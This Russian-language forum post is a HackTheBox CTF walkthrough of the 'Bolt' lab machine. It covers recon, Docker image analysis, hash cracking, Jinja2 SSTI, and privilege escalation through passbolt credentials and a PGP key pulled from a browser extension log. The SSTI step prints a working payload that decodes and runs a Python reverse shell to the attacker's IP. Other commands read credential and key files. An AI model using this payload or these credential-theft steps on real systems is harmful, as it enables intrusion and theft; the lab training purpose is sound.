ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Задания/Квесты/CTF/Конкурсы (https://forum.antichat.xyz/forumdisplay.php?f=112)
-   -   SSTI и Docker Image. Bolt Medium HackTheBox! (https://forum.antichat.xyz/showthread.php?t=1639491)

QuietMoth1 20.02.2022 23:50

https://forum.antichat.xyz/attachmen...0d1fb77996.png

Приветствую!
Предисловие
Продолжаем проходить лаборатории и CTF с сайта HackTheBox! В этой лаборатории мы разберём машину Bolt.
В этой статье мы отыщем уязвимые пути и файлы в изображении Docker и найдем SSTI в веб приложении. Приступаем!
Данные:
Задача: Скомпрометировать машину на Linux и взять два флага user.txt и root.txt.
Основная рабочая машина: Kali Linux 2021.4
IP адрес удаленной машины - 10.10.11.114
IP адрес основной машины - 10.10.14.66
Начальная разведка и сканирование портов:
Запустим Nmap с параметрами -sC и -sV для сканирования нашего хоста:

Код:

nmap -sC -sV 10.10.11.114
https://forum.antichat.xyz/attachmen...5368733996.png

Из открытых портов у нас: 22/tcp-SSH; 80/tcp-HTTP; 443/tcp-HTTPS;
Также видим поддомен хоста - passbolt.bolt.htb.Добавим его в наши хосты:

Код:

echo "10.10.11.114 bolt.htb passbolt.bolt.htb" >> /etc/hosts
Теперь давайте перейдем на веб-сайт.

https://forum.antichat.xyz/attachmen...5369058813.png


Заметим что здесь отображен шаблон - Admin LTE.
Перейдем теперь на вкладку - Pages и посмотрим, если что интересного в ней...

https://forum.antichat.xyz/attachmen...5369162954.png

Здесь нас встречает функционал из пяти страниц, для начала перейдем во вкладку - Sign in.

https://forum.antichat.xyz/attachmen...5369259637.png

Мы попали на страницу логина, попробуем теперь ввести дефолтные данные - admin:admin

https://forum.antichat.xyz/attachmen...5369312704.png

Но на наш запрос отвечают, что доступ не был получен, а также что мы ввели неправильный пароль.
Тогда попробуем создать свой аккаунт.

https://forum.antichat.xyz/attachmen...5369808901.png

https://forum.antichat.xyz/attachmen...5369850344.png

У нас не получилось, тогда давайте глянем что у нас во вкладке загрузки - Download.

https://forum.antichat.xyz/attachmen...5369406762.png

Здесь говорится о том, что веб-изображение готово к запуску, поэтому, возможно, исходный код должен быть в этом файле.
Нас редиректит на страницу загрузки изображения докера.
Давайте-же скачаем image.tar, архив довольно большой (154 Мб).
После успешной загрузки я распакую его в папку image.

Код:

tar -xf image.tar
https://forum.antichat.xyz/attachmen...5369630049.png

Итак здесь мы видим множество директорий внутри которых будет файл - layer.tar.

https://forum.antichat.xyz/attachmen...5370074488.png

Давайте попробуем распаковать этот архив и посмотреть что в нём содержится.

Код:

tar -xf layer.tar
https://forum.antichat.xyz/attachmen...5370132063.png

Он содержит в себе две папки - root и tmp. Перейдем в папку root и посмотрим её содержимое.

https://forum.antichat.xyz/attachmen...5370211230.png

Пусто, как и в другой папке - tmp. Давайте проведем разведку в отношении поиска поддоменов этого сайта.

Код:

ffuf -w /root/subdomains-top1million-110000.txt -u 'http://bolt.htb' -H 'Host: FUZZ.bolt.htb' -fw 10870
https://forum.antichat.xyz/attachmen...5370379143.png

Здесь мы можем обнаружить два поддомена, добавим их к уже существующим в /etc/hosts.
После добавления давайте перейдем на один из них... Пускай это будет - demo!

https://forum.antichat.xyz/attachmen...5370461470.png

Но перейдя на него, мы опять видим форму входа в аккаунт, попробуем теперь зарегистрироваться здесь.

https://forum.antichat.xyz/attachmen...5370512925.png

Но даже не успев ввести данные мы видим то, что форма запрашивает у нас код приглашения. У нас его нет
Тогда давайте пройдем на mail.bolt.htb...

https://forum.antichat.xyz/attachmen...5370602596.png

Да что ж такое! Везде требуется пароль и логин, тогда попробуем поразбирать архивы в нашем, уже скачанном архиве.
Не маловато конечно папок с файлами внутри, но куда деваться)

https://forum.antichat.xyz/attachmen...5370964977.png

В папке
Код:

41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad
мы можем заметить__init__.py и в нём Flask, это может понадобиться нам в будущем)
Идём далее, теперь перейдя уже в другую папку и распаковав очередной архив, мы заметим базу данных sqllite3.

https://forum.antichat.xyz/attachmen...5371783413.png

https://forum.antichat.xyz/attachmen...5371826854.png

Теперь мы получили пароль администратора, пора сбрутить его!
Используем JohnTheRipper:

Код:

john --wordlist=/root/rockyou.txt hash.hash
https://forum.antichat.xyz/attachmen...5371961878.png

Есть! Мы получили пароль админа - deadbolt
Теперь используя admin - как логин и deadbolt - как пароль, войдем в аккаунт на основном сайте (bolt.htb).

https://forum.antichat.xyz/attachmen...5376356510.png

Но оказалось, что здесь ничего мы не сможем найти, т.к эта страница пустая и никакой функциональности здесь нет...
Вы же наверное помните ту самую регистрацию по коду приглашения? Давайте же попробуем найти его в наших файлах.
Ключ к SSTI:
https://forum.antichat.xyz/attachmen...5377027322.png

Так при поиске этого кода, мы можем наткнуться на ещё одни учетные данные support@bolt.htb:S#perS3crEt_007, но пока что оставим их в покое и продолжим поиски...

https://forum.antichat.xyz/attachmen...5377157566.png

А вот и ещё один нужный нам кусочек кода, который и принёс нам этот заветный код.
Теперь регистрируемся на demo.bolt.htb!

https://forum.antichat.xyz/attachmen...5377250177.png

https://forum.antichat.xyz/attachmen...5377298850.png

Иии есть! В URL мы видим что мы в админской панели. Но долгие поиски вектора на этом сайте, приносили лишь одни пустые html странички(
Что же это за вкладка - Settings у нашего профиля? Давайте проверим её...

https://forum.antichat.xyz/attachmen...5377555804.png

По описанию здесь сказано, что это для обновления личной информации требуется подтверждение электронной почты.
Хммм... Неужели нам предоставили доступ к mail.bolt.htb, проверим это!

https://forum.antichat.xyz/attachmen...5377648861.png

Да! Наши учетные данные были зарегистрированы и здесь. Теперь попробуем отправить письмо с подтверждением.

https://forum.antichat.xyz/attachmen...5377733551.png

Значит при запросе подтверждения почты, письмо приходит с ссылкой на это подтверждение от... support@bolt.htb!
Вспомнив, что мы увидели те самые учетные данные от support@bolt.htb:S#perS3crEt_007, давайте зайдем в аккаунт службы поддержки.
Но немного посидев и поняв, что эти креды не валидные я приуныл, но уже вскоре понял всю схему написания этого сообщения!
Немного разьясню, помните тот самый момент когда мы нашли AdminLTE? Точно. Это Flask, а самая известная уязвимость для него это - SSTI!

Server-side template injection (SSTI) - это уязвимость внедрения вредоносного кода в шаблон с последующим выполнением на стороне сервера.

Через это самое письмо, мы попробуем внедрить наш вредносный код в приложение и заставим его выполнить его на своей стороне, чем самым мы сможем проникнуть в сам сервер!
Ну что описание закончено, приступим!
Для начала нашего эксперимента, отправим эту строку
Код:

{{7*'7'}}
в письме и посмотрим ответ который нам вернула служба поддержки.

https://forum.antichat.xyz/attachmen...5378649561.png

Попробуем использовать параметр - name для выполнения нашей цели.

https://forum.antichat.xyz/attachmen...5378703459.png

И очередное письмо у нас на почте. Откроем же его!
Ничего... Неужели это всё... А нет! К нам пришло ещё одно письмо с ответом на наше подтверждение!

https://forum.antichat.xyz/attachmen...5378805625.png

Есть! Здесь есть SSTI уязвимость, так как вывод строки
Код:

{{7*'7'}}
выдал нам
Код:

7777777
.
Ну что, теперь осталось развить её! Давайте отправим себе сообщение с нашим реверс шеллом.
Для этого я кодирую наш пэйлоад в base64:

https://forum.antichat.xyz/attachmen...5379176428.png

Далее я засуну его вывод в саму SSTI:

Код:


Код:

{{config.__class__.__init__.__globals__['os'].popen('echo "cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjY2Iiw5OTk5KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigiYmFzaCIpJw==" |base64 -d | bash').read()}}
И вот теперь попробуем отправить письмо.

https://forum.antichat.xyz/attachmen...5379444997.png

После отправки, бежим смотреть входящие письма! Подтверждаем...

https://forum.antichat.xyz/attachmen...5379493910.png

Есть! Мы в системе! Далее дело за малым.
Повышение привилегий:

https://forum.antichat.xyz/attachmen...5379664849.png

В директории /home мы видим двух пользователей: eddie и clark.
Но доступа к ним нет, тогда нужно найти его.
Долго скитаяясь по машине, я ничего не находил, но вспомнив про passbolt, попытался найти его конфиг файл и у меня это удалось!
Найдя его в /etc/passbolt/passbolt.php, мы можем прочитать его содержимое!

https://forum.antichat.xyz/attachmen...5380052628.png

И среди строк находим креды от MySQL -
Код:

passbolt:rT2;jW7 use passboltdb
Код:

mysql> show tables;
https://forum.antichat.xyz/attachmen...5380277782.png

Видим интересную таблицу secrets, выведем её.

Код:

select * from secrets;
https://forum.antichat.xyz/attachmen...5385607712.png

Мы видим зашифрованное PGP сообщение, оставим его на потом.
Среди таблиц заметим ещё одну таблицу пользователей - users. Теперь выведем и её содержимое.

Код:

select * from users;
https://forum.antichat.xyz/attachmen...5380350858.png

Хм, пароля здесь нет, но мы также видим два пользователя.
А что если попробовать использовать пароль от базы данных, для пользователя eddie или clark?

https://forum.antichat.xyz/attachmen...5380477130.png

Ура! Мы вошли под этим паролем в аккаунт eddie.

https://forum.antichat.xyz/attachmen...5380532807.png

Теперь давайте попробуем получить рут!
Проверив кучу способов я нашёл сообщение от пользователя clark в /var/mail/eddie

https://forum.antichat.xyz/attachmen...5380904416.png

В нём говорится про то что мы должны иметь возможность войти в passbolt без нашего закрытого ключа, также это относится к whitepaper - passbolt.
Погуглив про безопасность passbolt, я понял что закрытый ключ хранится в нашем конфиге расширения браузера!
Давайте прочитаем его!

Код:

cat /home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log
https://forum.antichat.xyz/attachmen...5381496349.png

Далее мы видим ключ PGP, мы можем скопировать и вставить его в текстовый файл и отформатировать его.

Код:

echo -e 'НАШ ПРИВАТНЫЙ КЛЮЧ'
https://forum.antichat.xyz/attachmen...5381948493.png

После получения закрытого ключа и сообщения, запуск gpg в файле сообщения сообщит нам, с каким идентификатором ключа он зашифрован.

https://forum.antichat.xyz/attachmen...5384476812.png

Пора расшифровать его, будем использовать gpg2john для создания хэша этого ключа.

https://forum.antichat.xyz/attachmen...5382137182.png

Пора сбрутить его! После длительного ожидания мы можем получить наш пароль!

https://forum.antichat.xyz/attachmen...5384196853.png

Далее импортируем gpg ключ:

Код:

gpg --import pgp.txt
https://forum.antichat.xyz/attachmen...5384291271.png

Теперь помня что у нас есть зашифрованное сообщение с базы данных, расшифруем его!

Код:

gpg -d message
https://forum.antichat.xyz/attachmen...5385734191.png

И теперь мы получили чей-то пароль -
Код:

Z(2rmxsNW(Z?3=p/9s
Давайте попробуем зарегистрироваться в аккаунт пользователя - clark

https://forum.antichat.xyz/attachmen...5385821200.png

Странно, но почему то пароль не подошёл, тогда может попробовать зайти в аккаунт root?

https://forum.antichat.xyz/attachmen...5385864272.png

Получилось! Мы рут, теперь осталось взять его флаг.

https://forum.antichat.xyz/attachmen...5385902601.png

Огромнейшее спасибо, дорогой читатель что смог досмотреть эту статью до конца, надеюсь что вам понравилось. Скоро буду


Время: 00:37